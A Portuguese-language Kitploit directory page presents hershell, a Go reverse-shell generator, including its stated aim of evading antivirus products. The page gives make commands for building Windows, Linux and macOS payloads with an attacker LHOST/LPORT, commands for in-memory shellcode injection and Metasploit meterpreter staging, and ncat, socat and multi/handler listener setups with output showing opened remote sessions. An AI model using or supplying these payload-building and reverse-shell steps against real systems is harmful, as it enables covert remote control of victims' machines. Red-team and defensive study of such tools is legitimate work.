Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
hershell — Gerador de shell reverso multiplataforma | Kitploit
Ferramentas/GitHubGitHub/lesnuages/hershell
Ferramentas de Criptografia/DescriptografiaGeração de PayloadsExploraçãoShellcodePós-ExploraçãoTestes de PenetraçãoComando e ControleRed TeamingDesenvolvimento de Payloads
GitHublesnuages/hershell

hershell

Gerador de shell reverso multiplataforma

59298há 6 anosRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
Ver Repositório

Hershell

Shell reverso TCP simples escrito em Go.

Ele usa TLS para proteger as comunicações e oferece um recurso de fixação de impressão digital da chave pública do certificado, prevenindo a interceptação de tráfego.

Sistemas operacionais suportados:

  • Windows
  • Linux
  • Mac OS
  • FreeBSD e derivados

Por quê?

Embora os payloads do meterpreter sejam ótimos, às vezes são detectados por produtos de AV.

O objetivo deste projeto é obter um shell reverso simples, que funcione em vários sistemas.

Como?

Como é escrito em Go, você pode compilar o código-fonte para a arquitetura desejada.

Primeiros passos e dependências

Como este é um projeto Go, você precisará seguir a documentação oficial para configurar seu ambiente Golang (com a variável de ambiente $GOPATH).

Então, basta executar go get github.com/lesnuages/hershell para baixar o projeto.

Construindo o payload

Para simplificar, você pode usar o Makefile fornecido.

Você pode definir as seguintes variáveis de ambiente:

  • GOOS : o SO alvo
  • GOARCH : a arquitetura alvo
  • LHOST : o IP ou nome de domínio do atacante
  • LPORT : a porta do listener

Para as variáveis GOOS e GOARCH, você pode obter os valores permitidos aqui.

No entanto, alguns alvos auxiliares estão disponíveis no Makefile:

  • depends : gera o certificado do servidor (necessário para o shell reverso)
  • windows32 : compila um executável Windows 32 bits (PE 32 bits)
  • windows64 : compila um executável Windows 64 bits (PE 64 bits)
  • linux32 : compila um executável Linux 32 bits (ELF 32 bits)
  • linux64 : compila um executável Linux 64 bits (ELF 64 bits)
  • macos32 : compila um executável Mac OS 32 bits (Mach-O)
  • macos64 : compila um executável Mac OS 64 bits (Mach-O)

Para esses alvos, você só precisa definir as variáveis de ambiente LHOST e LPORT.

Usando o shell

Uma vez executado, você terá um shell remoto.

Este shell interativo personalizado permitirá que você execute comandos do sistema através do cmd.exe no Windows ou /bin/sh em máquinas UNIX.

Os seguintes comandos especiais são suportados:

  • run_shell : fornece um shell do sistema (permitindo, por exemplo, mudar de diretórios)
  • inject <base64 shellcode> : injeta um shellcode (codificado em base64) na memória do mesmo processo e o executa
  • meterpreter [tcp|http|https] IP:PORT : conecta-se a um multi/handler para obter um meterpreter reverso tcp, http ou https stage2 do metasploit e executa o shellcode na memória (apenas Windows no momento)
  • exit : sair corretamente

Uso

Primeiramente, você precisará gerar um certificado válido:

root@kitploit:~
$ make depends
openssl req -subj '/CN=yourcn.com/O=YourOrg/C=FR' -new -newkey rsa:4096 -days 3650 -nodes -x509 -keyout server.key -out server.pem
Generating a 4096 bit RSA private key
....................................................................................++
.....++
writing new private key to 'server.key'
-----
cat server.key >> server.pem

Para Windows:

root@kitploit:~
# Predifined 32 bit target
$ make windows32 LHOST=192.168.0.12 LPORT=1234
# Predifined 64 bit target
$ make windows64 LHOST=192.168.0.12 LPORT=1234

Para Linux:

root@kitploit:~
# Predifined 32 bit target
$ make linux32 LHOST=192.168.0.12 LPORT=1234
# Predifined 64 bit target
$ make linux64 LHOST=192.168.0.12 LPORT=1234

Para Mac OS X

root@kitploit:~
$ make macos LHOST=192.168.0.12 LPORT=1234

Exemplos

Uso básico

Pode-se usar várias ferramentas para lidar com conexões recebidas, como:

  • socat
  • ncat
  • módulo de servidor openssl
  • multi handler do metasploit (com um payload python/shell_reverse_tcp_ssl)

Aqui está um exemplo com ncat:

root@kitploit:~
$ ncat --ssl --ssl-cert server.pem --ssl-key server.key -lvp 1234
Ncat: Version 7.60 ( https://nmap.org/ncat )
Ncat: Listening on :::1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 172.16.122.105.
Ncat: Connection from 172.16.122.105:47814.
[hershell]> whoami
desktop-3pvv31a\lab

Aqui está um exemplo com socat (testado com a versão 1.7.3.2):

root@kitploit:~
$ socat `tty` OPENSSL-LISTEN:1234,reuseaddr,cert=server.pem,key=server.key,verify=0
# connection would be initiated here
[hershell]> whoami
desktop-3pvv31a\lab

Staging do Meterpreter

AVISO: atualmente funciona apenas para a plataforma Windows.

O staging do meterpreter atualmente suporta os seguintes payloads:

  • windows/meterpreter/reverse_tcp
  • windows/x64/meterpreter/reverse_tcp
  • windows/meterpreter/reverse_http
  • windows/x64/meterpreter/reverse_http
  • windows/meterpreter/reverse_https
  • windows/x64/meterpreter/reverse_https

Para usar o correto, basta especificar o transporte desejado (tcp, http, https)

Para usar o recurso de staging do meterpreter, basta iniciar seu handler:

root@kitploit:~
[14:12:45][172.16.122.105][Sessions: 0][Jobs: 0] > use exploit/multi/handler
[14:12:57][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_https
payload => windows/x64/meterpreter/reverse_https
[14:13:12][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > set lhost 172.16.122.105
lhost => 172.16.122.105
[14:13:15][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > set lport 8443
lport => 8443
[14:13:17][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > set HandlerSSLCert ./server.pem
HandlerSSLCert => ./server.pem
[14:13:26][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > exploit -j
[*] Exploit running as background job 0.

[*] [2018.01.29-14:13:29] Started HTTPS reverse handler on https://172.16.122.105:8443
[14:13:29][172.16.122.105][Sessions: 0][Jobs: 1] exploit(multi/handler) >

Então, no hershell, use o comando meterpreter:

root@kitploit:~
[hershell]> meterpreter https 172.16.122.105:8443

Uma nova sessão do meterpreter deve aparecer no msfconsole:

root@kitploit:~
[14:13:29][172.16.122.105][Sessions: 0][Jobs: 1] exploit(multi/handler) >
[*] [2018.01.29-14:16:44] https://172.16.122.105:8443 handling request from 172.16.122.105; (UUID: pqzl9t5k) Staging x64 payload (206937 bytes) ...
[*] Meterpreter session 1 opened (172.16.122.105:8443 -> 172.16.122.105:44804) at 2018-01-29 14:16:44 +0100

[14:16:46][172.16.122.105][Sessions: 1][Jobs: 1] exploit(multi/handler) > sessions

Active sessions
===============

  Id  Name  Type                     Information                            Connection
  --  ----  ----                     -----------                            ----------
  1         meterpreter x64/windows  DESKTOP-3PVV31A\lab @ DESKTOP-3PVV31A  172.16.122.105:8443 -> 172.16.122.105:44804 (10.0.2.15)

[14:16:48][172.16.122.105][Sessions: 1][Jobs: 1] exploit(multi/handler) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > getuid
Server username: DESKTOP-3PVV31A\lab

Créditos

@khast3x pelo recurso Dockerfile

Baixar ferramenta